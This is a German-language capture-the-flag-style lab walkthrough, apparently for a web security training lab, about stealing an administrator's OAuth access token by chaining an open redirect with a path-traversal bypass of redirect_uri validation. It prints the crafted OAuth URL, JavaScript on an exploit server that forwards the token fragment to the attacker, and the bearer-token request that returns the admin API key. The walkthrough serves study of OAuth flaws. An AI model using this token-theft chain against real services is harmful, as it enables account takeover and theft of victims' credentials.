> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/oauth-authentication/oauth-token-theft-via-open-redirect.md).

# OAuth-Token-Diebstahl über Open Redirect

### Stehlen von OAuth-Zugriffstokens über einen Open Redirect

**Lernziel**

Dieses Lab verwendet eine fehlerhafte Validierung des `redirect_uri` Parameters durch den OAuth-Dienst. / Das Ziel ist es, einen Open Redirect in der Client-Anwendung zu nutzen, um **das OAuth-Zugriffstoken des Admin-Benutzers abzugreifen** und es dann zu verwenden, um dessen API-Schlüssel wiederherzustellen.

> Es ist nicht möglich, den API-Schlüssel des Admins einfach durch die Verbindung mit seinem Konto über die Client-Anwendung zu erhalten.

**Identifizierung von Open Redirection**

Open Redirection ist in der Browsing-Funktion zwischen Blogartikeln vorhanden:

{% code overflow="wrap" %}

```bash
https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/post/next?path=/post?postId=6
```

{% endcode %}

<figure><img src="/files/418f5bc77d30c2ef00b6933d892886253f2f554b" alt=""><figcaption></figcaption></figure>

Durch Ersetzen des `path` Parameters durch eine externe URL wird die Weiterleitung akzeptiert:

{% code overflow="wrap" %}

```bash
https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/post/next?path=https://google.com
```

{% endcode %}

Der Browser wird weitergeleitet, was die Schwachstelle bestätigt.

<figure><img src="/files/00691f2c8b48bfe0ea8d440e4b493c96a611ec72" alt=""><figcaption></figcaption></figure>

**Analyse des OAuth-Ablaufs**

Bei der Authentifizierung über OAuth wird die folgende Anfrage beobachtet:

{% code overflow="wrap" %}

```http
GET /auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback&response_type=token&nonce=-1202975070&scope=openid%20profile%20email
```

{% endcode %}

<figure><img src="/files/9f4e88bc58fcd114ef7bebaabbdfe30d57709294" alt=""><figcaption></figcaption></figure>

Der OAuth-Dienst lehnt eine vollständig externe `redirect_uri`ab, akzeptiert jedoch eine interne URL, die mit Path Traversal verändert wurde.

{% code overflow="wrap" %}

```bash
https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/../post/next?path=https://google.com
```

{% endcode %}

<figure><img src="/files/835aa223d08e4f1196d98577998372588c9517d5" alt=""><figcaption></figcaption></figure>

**`redirect_uri` Validierungsumgehung**

Verwenden von `../` um den `/OAuth-callback` Pfad zu verlassen, ist es möglich, die Open Redirection zu verketten:

{% code overflow="wrap" %}

```bash
GET /auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/..//post/next?path=https://exploit-0aa200b50306231684d83aca01e50063.exploit-server.net&response_type=token&nonce=-1202975070&scope=openid%20profile%20email
```

{% endcode %}

<figure><img src="/files/52809ae15ce7505f4d10268b7c9f6332f0f3890c" alt=""><figcaption></figcaption></figure>

Diese URL wird akzeptiert als `redirect_uri` vom OAuth-Anbieter.

**Erstellung einer bösartigen OAuth-URL**

Die endgültige URL, die an das Opfer gesendet wird, ist:

{% code overflow="wrap" %}

```bash
https://oauth-0a7c00d603ea23e0849f3991020c0078.oauth-server.net/auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0aa200b50306231684d83aca01e50063.exploit-server.net&response_type=token&nonce=-1202975070&scope=openid%20profile%20email
```

{% endcode %}

**Fragmentproblem (`#`)**

Das URL-Fragment wird **bei einer HTTP-Anfrage nie an den Server** gesendet.<br>

<figure><img src="/files/317ed7c777ed6cf3e3cedda3bb0de2dd8f0a3aba" alt=""><figcaption></figcaption></figure>

JavaScript auf der Client-Seite ist erforderlich, um das Token abzufangen.

<figure><img src="/files/53a3278d0cf40489617b99e43f12e0081dc73754" alt=""><figcaption></figcaption></figure>

**Token-Erfassung mit JavaScript**

Das folgende Skript wird auf dem Exploit-Server gehostet und an den Admin gesendet:

```javascript
<script>
if (!document.location.hash) {
      window.location = 'https://oauth-0a7c00d603ea23e0849f3991020c0078.oauth-server.net/auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0aa200b50306231684d83aca01e50063.exploit-server.net/exploit&response_type=token&nonce=-1202975070&scope=openid%20profile%20email';
} else{
   window.location = '/?' + document.location.hash.substr(1);
}
</script>
```

<figure><img src="/files/c26441225208e7768a9dcdd74d25e38818bccd63" alt=""><figcaption></figcaption></figure>

* Wenn kein Fragment vorhanden ist, wird das Opfer zu OAuth weitergeleitet.
* Wenn das Fragment vorhanden ist, wird das Token über die Query-String an den Server übermittelt.

<figure><img src="/files/73604456e3f30d03ce88743ce7927adeeb630b8d" alt=""><figcaption></figcaption></figure>

**Ausnutzung des OAuth-Tokens**

Das gestohlene Token ermöglicht es Ihnen, den `/me` Endpunkt des OAuth-Anbieters abzufragen:

```http
GET /me HTTP/2
Host: oauth-0a7c00d603ea23e0849f3991020c0078.oauth-server.net
Authorization: Bearer PcLy4bgYKmVTtff9jiY0AmymdyjUA3Or7xthOJTotyJ
```

<figure><img src="/files/9cacb51974e0604df95edfa1ee00e0c9c633d594" alt=""><figcaption></figcaption></figure>

Die Antwort enthält die Kontoinformationen des Administrators, einschließlich des API-Schlüssels:

{% code overflow="wrap" %}

```http
{
"sub":"administrator",
"apikey":"d1tjcs2O4I1ts6yYdswOz2yu9bALstzG",
"name":"Administrator",
"email":"administrator@normal-user.net",
"email_verified":true
}
```

{% endcode %}

<figure><img src="/files/ef0b62c5d23c4b391c78ff7e875603080123cc20" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/oauth-authentication/oauth-token-theft-via-open-redirect.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
